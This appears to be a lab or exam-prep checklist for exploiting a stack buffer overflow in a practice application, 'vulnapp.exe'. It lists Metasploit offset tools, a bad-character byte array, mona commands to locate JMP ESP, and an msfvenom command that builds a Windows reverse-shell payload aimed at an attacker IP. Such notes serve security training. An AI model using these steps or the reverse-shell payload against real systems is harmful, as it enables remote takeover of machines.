0 - Buffer Overflow

Steps to be followed for the machine solution;

Note: If after each debug operation performed, the application has become unresponsive; Immunity Debugger should be closed first, then the "vulnapp.exe" application should be restarted, and Attach and Run should be done on Immunity Debugger.

1. Segmentation fault;
   Send enough length string for victim system crash
   
2. Find the offset;
   /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <String_Length>

3. Control the EIP;
   /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_Value>

4. Find the bad chars;

   badchars = (
   "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
   "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
   "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
   "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
   "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
   "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
   "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
   "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
   "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
   "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
   "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
   "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
   "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
   "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
   "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
   "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


5. Find a JMP ESP instruction;
   !mona modules                                                  #Listing the modules
   !mona modules -o                                               #Listing only the modules that belong to the operating system.(We choose a module that has no memory protections and also does not contain bad characters at the pointer address.)
   /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb    #Detection of the JMP ESP value
   !mona find -s “<JMP_ESP_Value>” -m vulnapp_dll.dll             #Detection of the module in which JMP ESP value is passed

   

6. Create shellcode;
   msfvenom -p windows/shell_reverse_tcp LHOST=<Attacker_IP> LPORT=<Attacker_Port> -f py -b '<badchars>' -e x86/shikata_ga_nai